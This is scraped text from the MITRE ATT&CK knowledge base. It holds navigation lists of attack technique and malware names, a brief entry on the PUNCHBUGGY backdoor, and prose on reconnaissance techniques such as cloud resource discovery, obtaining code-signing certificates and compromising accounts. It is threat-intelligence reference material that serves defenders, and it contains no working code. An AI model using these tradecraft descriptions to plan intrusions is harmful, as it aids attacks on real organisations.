DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Installer Packages External Remote Services Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER KernelCallbackTable Implant Internal Image Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Multi-Factor Authentication Hybrid Identity Office Application Startup Office Template Macros Office Test Outlook Forms Outlook Home Page Outlook Rules Add-ins Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Scheduled Task/Job At Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Server Software Component SQL Stored Procedures Transport Agent Web Shell IIS Components Terminal Services DLL Traffic Signaling Port Knocking Socket Filters Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Print Processors XDG Autostart Entries Active Setup Login Items Boot or Logon Initialization Scripts Logon Script (Windows) Login Hook Network Logon Script RC Scripts Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Domain Policy Modification Group Policy Modification Domain Trust Modification Escape to Host Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Installer Packages Exploitation for Privilege Escalation Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER KernelCallbackTable Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking ListPlanting Scheduled Task/Job At Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection BITS Jobs Build Image on Host Debugger Evasion Deobfuscate/Decode Files or Information Deploy Container Direct Volume Access Domain Policy Modification Group Policy Modification Domain Trust Modification Execution Guardrails Environmental Keying Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hidden File System Run Virtual Instance VBA Stomping Email Hiding Rules Resource Forking Process Argument Spoofing Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER KernelCallbackTable Impair Defenses Disable or Modify Tools Disable Windows Event Logging Impair Command History Logging Disable or Modify System Firewall Indicator Blocking Disable or Modify Cloud Firewall Disable Cloud Logs Safe Mode Boot Downgrade Attack Indicator Removal Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Clear Network Connection History and Configurations Clear Mailbox Data Clear Persistence Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name or Location Space after Filename Double File Extension Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Multi-Factor Authentication Hybrid Identity Modify Cloud Compute Infrastructure Create Snapshot Create Cloud Instance Delete Cloud Instance Revert Cloud Instance Modify Registry Modify System Image Patch System Image Downgrade System Image Network Boundary Bridging Network Address Translation Traversal Obfuscated Files or Information Binary Padding Software Packing Steganography Compile After Delivery Indicator Removal from Tools HTML Smuggling Dynamic API Resolution Stripped Payloads Embedded Payloads Plist File Modification Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking ListPlanting Reflective Code Loading Rogue Domain Controller Rootkit Subvert Trust Controls Gatekeeper Bypass Code Signing SIP and Trust Provider Hijacking Install Root Certificate Mark-of-the-Web Bypass Code Signing Policy Modification System Binary Proxy Execution Compiled HTML File Control Panel CMSTP InstallUtil Mshta Msiexec Odbcconf Regsvcs/Regasm Regsvr Rundll Verclsid Mavinject MMC System Script Proxy Execution PubPrn Template Injection Traffic Signaling Port Knocking Socket Filters Trusted Developer Utilities Proxy Execution MSBuild Unused/Unsupported Cloud Regions Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Weaken Encryption Reduce Key Space Disable Crypto Hardware XSL Script Processing Credential Access Adversary-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning DHCP Spoofing Brute Force Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Multi-Factor Authentication Hybrid Identity Multi-Factor Authentication Interception Multi-Factor Authentication Request Generation Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token
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versions_v12_techniques_T1566_001.txt
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Currently viewing ATT&CK v10.1 which was live between October 21, 2021 and April 24, 2022. Learn more about the versioning system or see the live site. SOFTWARE Overview 3PARA RAT 4H RAT ABK adbupd AdFind Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Anchor Android/AdDisplay.Ashas Android/Chuli.A AndroidOS/MalLocker.B ANDROIDOS_ANSERVER.A AndroRAT Anubis AppleJeus AppleSeed Aria-body Arp Asacub ASPXSpy Astaroth at Attor AuditCred AutoIt backdoor Avaddon Avenger Azorult Babuk BabyShark BackConfig Backdoor.Oldrea BACKSPACE Bad Rabbit BADCALL BADFLICK BADNEWS BadPatch Bandook Bankshot Bazar BBK BBSRAT BendyBear BISCUIT Bisonal BitPaymer BITSAdmin BLACKCOFFEE BlackEnergy BlackMould BLINDINGCAN BloodHound BLUELIGHT Bonadan BONDUPDATER BoomBox BOOSTWRITE BOOTRASH BoxCaon BrainTest Brave Prince Bread Briba BS BUBBLEWRAP build_downer Bundlore BusyGasper Cachedump Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carberp Carbon CarbonSteal Cardinal RAT CARROTBALL CARROTBAT Catchamas Caterpillar WebShell CCBkdr Cerberus certutil Chaes Chaos Charger ChChes CHEMISTGAMES Cherry Picker China Chopper CHOPSTICK Circles Clop CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit Conficker ConnectWise Conti CookieMiner CORALDECK CORESHELL Corona Updates CosmicDuke CostaBricks CozyCar CrackMapExec Crimson CrossRAT Crutch Cryptoistic CSPY Downloader Cuba Dacls DarkComet Daserf DDKONG DealersChoice DEATHRANSOM DEFENSOR ID Dendroid Denis Derusbi Desert Scorpion Dipsind DOGCALL Dok Doki DoubleAgent down_new Downdelph DownPaper DressCode Dridex DroidJack DropBook Drovorub dsquery Dtrack DualToy Duqu DustySky Dvmap Dyre Ebury ECCENTRICBANDWAGON Ecipekac Egregor EKANS Elise ELMER Emissary Emotet Empire EnvyScout Epic esentutl eSurv EventBot EvilBunny EvilGrab EVILNUM Exaramel for Linux Exaramel for Windows Exobot Exodus Expand Explosive FakeM FakeSpy FALLCHILL FatDuke Felismus FELIXROOT Fgdump Final1stspy FinFisher FIVEHANDS Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FrameworkPOS FrozenCell FruitFly FTP FYAnti Fysbis Gazer GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon Golden Cup GoldenEagle GoldenSpy GoldFinder GoldMax GolfSpy Gooligan Goopy GPlayed Grandoreiro GravityRAT GreyEnergy GRIFFON GrimAgent gsecdump GuLoader Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS Hancitor HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor HELLOKITTY Helminth HenBox Hi-Zor HiddenWasp HIDEDRV Hikit Hildegard HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro HyperStack IcedID ifconfig iKitten Imminent Monitor Impacket Industroyer InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig IronNetInjector ISMInjector Ixeshe Janicab Javali JCry JHUHUGIT JPIN jRAT JSS Loader Judy KARAE Kasidet Kazuar Kerrdown Kessel KeyBoy Keydnap KEYMARBLE KeyRaider KGH_SPY KillDisk Kinsing Kivars Koadic Kobalos Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LiteDuke LockerGoga LoJax Lokibot LookBack LoudMiner LOWBALL Lslsass Lucifer Lurid Machete MacSpy MailSniper Mandrake Marcher MarkiRAT Matryoshka MazarBOT Maze MCMD MechaFlounder meek MegaCortex Melcoz MESSAGETAP Metamorfo Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoleNet Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NativeZone NavRAT NBTscan nbtstat NDiskMonitor Nebulae Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Ngrok Nidiran njRAT Nltest NOKKI NotCompatible NotPetya OBAD ObliqueRAT OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D Out OwaAuth P.A.S. Webshell P2P ZeuS P8RAT Pallas Pasam Pass-The-Hash Toolkit Pay2Key Pegasus for Android Pegasus for iOS Penquin Peppy PHOREAL Pillowmint PinchDuke Ping PipeMon Pisloader PJApps PLAINTEE PLEAD PlugX pngdowner PoetRAT PoisonIvy PolyglotDuke Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka ProLock Proton Proxysvc PS PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Pysa QakBot QUADAGENT QuasarRAT Ragnar Locker Raindrop RainyDay Ramsay RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDAT RDFSNIFFER Reaver Red Alert 2. RedDrop RedLeaves Reg RegDuke Regin Remcos Remexi RemoteCMD RemoteUtilities Remsec Responder Revenge RAT REvil RGDoor Rifdoor Riltok RIPTIDE Rising Sun RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT Ryuk S-Type Sakula SamSam schtasks SDBbot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Seth-Locker ShadowPad Shamoon SharpStage SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED Sibot SideTwist SilkBean Siloscape SimBad Skeleton Key Skidmap Skygofree Sliver SLOTHFULMEDIA SLOWDRIFT Smoke Loader SMOKEDHAM SNUGRIDE Socksbot SodaMaster SombRAT SoreFang SOUNDBITE SPACESHIP Spark SpeakUp SpicyOmelette spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx StrongPity Stuxnet SUNBURST SUNSPOT SUPERNOVA Sykipot SynAck SYNful Knock Sys SYSCON Systeminfo T Taidoor TAINTEDSCRIBE TajMahal Tangelo Tasklist TDTESS TEARDROP TERRACOTTA TEXTMATE ThiefQuest Tiktok Pro TINYTYPHON TinyZBot Tor Triada TrickBot TrickMo Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie Turian TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak VaporRage Vasport VBShower VERMIN ViceLeaker ViperRAT Volgmer WannaCry WastedLocker Waterbear WEBC WellMail WellMess Wevtutil Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker WolfRAT X-Agent for Android XAgentOSX Xbash Xbot xCaon xCmd XcodeGhost XCSSET XLoader for Android XLoader for iOS XTunnel YAHOYAH YiSpecter yty Zebrocy Zen ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell SOFTWARE Overview 1- 3PARA RAT 4H RAT A-B ABK adbupd AdFind Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Anchor Android/AdDisplay.Ashas Android/Chuli.A AndroidOS/MalLocker.B ANDROIDOS_ANSERVER.A AndroRAT Anubis AppleJeus AppleSeed Aria-body Arp Asacub ASPXSpy Astaroth at Attor AuditCred AutoIt backdoor Avaddon Avenger Azorult Babuk BabyShark BackConfig Backdoor.Oldrea BACKSPACE Bad Rabbit BADCALL BADFLICK BADNEWS BadPatch Bandook Bankshot Bazar BBK BBSRAT BendyBear BISCUIT Bisonal BitPaymer BITSAdmin BLACKCOFFEE BlackEnergy BlackMould BLINDINGCAN BloodHound BLUELIGHT Bonadan BONDUPDATER BoomBox BOOSTWRITE BOOTRASH BoxCaon BrainTest Brave Prince Bread Briba BS BUBBLEWRAP build_downer Bundlore BusyGasper C-D Cachedump Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carberp Carbon CarbonSteal Cardinal RAT CARROTBALL CARROTBAT Catchamas Caterpillar WebShell CCBkdr Cerberus certutil Chaes Chaos Charger ChChes CHEMISTGAMES Cherry Picker China Chopper CHOPSTICK Circles Clop CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit Conficker ConnectWise Conti CookieMiner CORALDECK CORESHELL Corona Updates CosmicDuke CostaBricks CozyCar CrackMapExec Crimson CrossRAT Crutch Cryptoistic CSPY Downloader Cuba Dacls DarkComet Daserf DDKONG DealersChoice DEATHRANSOM DEFENSOR ID Dendroid Denis Derusbi Desert Scorpion Dipsind DOGCALL Dok Doki DoubleAgent down_new Downdelph DownPaper DressCode Dridex DroidJack DropBook Drovorub dsquery Dtrack DualToy Duqu DustySky Dvmap Dyre E-F Ebury ECCENTRICBANDWAGON Ecipekac Egregor EKANS Elise ELMER Emissary Emotet Empire EnvyScout Epic esentutl eSurv EventBot EvilBunny EvilGrab EVILNUM Exaramel for Linux Exaramel for Windows Exobot Exodus Expand Explosive FakeM FakeSpy FALLCHILL FatDuke Felismus FELIXROOT Fgdump Final1stspy FinFisher FIVEHANDS Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FrameworkPOS FrozenCell FruitFly FTP FYAnti Fysbis G-H Gazer GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon Golden Cup GoldenEagle GoldenSpy GoldFinder GoldMax GolfSpy Gooligan Goopy GPlayed Grandoreiro GravityRAT GreyEnergy GRIFFON GrimAgent gsecdump GuLoader Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS Hancitor HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor HELLOKITTY Helminth HenBox Hi-Zor HiddenWasp HIDEDRV Hikit Hildegard HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro HyperStack I-J IcedID ifconfig iKitten Imminent Monitor Impacket Industroyer InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig IronNetInjector ISMInjector Ixeshe Janicab Javali JCry JHUHUGIT JPIN jRAT JSS Loader Judy K-L KARAE Kasidet Kazuar Kerrdown Kessel KeyBoy Keydnap KEYMARBLE KeyRaider KGH_SPY KillDisk Kinsing Kivars Koadic Kobalos Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LiteDuke LockerGoga LoJax Lokibot LookBack LoudMiner LOWBALL Lslsass Lucifer Lurid M-N Machete MacSpy MailSniper Mandrake Marcher MarkiRAT Matryoshka MazarBOT Maze MCMD MechaFlounder meek MegaCortex Melcoz MESSAGETAP Metamorfo Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoleNet Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NativeZone NavRAT NBTscan nbtstat NDiskMonitor Nebulae Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Ngrok Nidiran njRAT Nltest NOKKI NotCompatible NotPetya O-P OBAD ObliqueRAT OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D Out OwaAuth P.A.S. Webshell P2P ZeuS P8RAT Pallas Pasam Pass-The-Hash Toolkit Pay2Key Pegasus for Android Pegasus for iOS Penquin Peppy PHOREAL Pillowmint PinchDuke Ping PipeMon Pisloader PJApps PLAINTEE PLEAD PlugX pngdowner PoetRAT PoisonIvy PolyglotDuke Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka ProLock Proton Proxysvc PS PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Pysa Q-R QakBot QUADAGENT QuasarRAT Ragnar Locker Raindrop RainyDay Ramsay RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDAT RDFSNIFFER Reaver Red Alert 2. RedDrop RedLeaves Reg RegDuke Regin Remcos Remexi RemoteCMD RemoteUtilities Remsec Responder Revenge RAT REvil RGDoor Rifdoor Riltok RIPTIDE Rising Sun RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT Ryuk S-T S-Type Sakula SamSam schtasks SDBbot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Seth-Locker ShadowPad Shamoon SharpStage SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED Sibot SideTwist SilkBean Siloscape SimBad Skeleton Key Skidmap Skygofree Sliver SLOTHFULMEDIA SLOWDRIFT Smoke Loader SMOKEDHAM SNUGRIDE Socksbot SodaMaster SombRAT SoreFang SOUNDBITE SPACESHIP Spark SpeakUp SpicyOmelette spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx StrongPity Stuxnet SUNBURST SUNSPOT SUPERNOVA Sykipot SynAck SYNful Knock Sys SYSCON Systeminfo T Taidoor TAINTEDSCRIBE TajMahal Tangelo Tasklist TDTESS TEARDROP TERRACOTTA TEXTMATE ThiefQuest Tiktok Pro TINYTYPHON TinyZBot Tor Triada TrickBot TrickMo Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie Turian TURNEDUP Twitoor TYPEFRAME U-V UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak VaporRage Vasport VBShower VERMIN ViceLeaker ViperRAT Volgmer W-X WannaCry WastedLocker Waterbear WEBC WellMail WellMess Wevtutil Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker WolfRAT X-Agent for Android XAgentOSX Xbash Xbot xCaon xCmd XcodeGhost XCSSET XLoader for Android XLoader for iOS XTunnel Y-Z YAHOYAH YiSpecter yty Zebrocy Zen ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell - Home - Software - PUNCHBUGGY PUNCHBUGGY PUNCHBUGGY is a backdoor malware used by FIN8 that has been observed targeting POS networks in the hospitality industry. [1][2] [3] ID: S ⓘ Associated Software: ShellTea ⓘ Type: MALWARE ⓘ Platforms: Windows Version: 2. Created: 18 April Last Modified: 09 February Version Permalink Live Version Associated Software Descriptions Name Description ShellTea [1] ATT&CK® Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use Enterprise T . Account Discovery: Local Account PUNCHBUGGY can gather user names.[1] Enterprise T .
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versions_v10_software_S0196.txt
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for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). [T1596.004] Search Open Technical Databases: CDNsCurrent version: 1. Description: Before compromising a victim, adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)). [T1592.004] Gather Victim Host Information: Client ConfigurationsCurrent version: 1. Description: Before compromising a victim, adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). [T1580] Cloud Infrastructure DiscoveryCurrent version: 1. Description: An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services. Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, as well as the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project(Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020) Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves. [T1587.002] Develop Capabilities: Code Signing CertificatesCurrent version: 1. Description: Before compromising a victim, adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations. [T1588.003] Obtain Capabilities: Code Signing CertificatesCurrent version: 1. Description: Before compromising a victim, adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party. [T1586] Compromise AccountsCurrent version: 1. Description: Before compromising a victim, adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). [T1584] Compromise InfrastructureCurrent version: 1. Description: Before compromising a victim, adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) [T1589.001] Gather Victim Identity Information: CredentialsCurrent version: 1. Description: Before compromising a victim, adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). [T1590.002] Gather 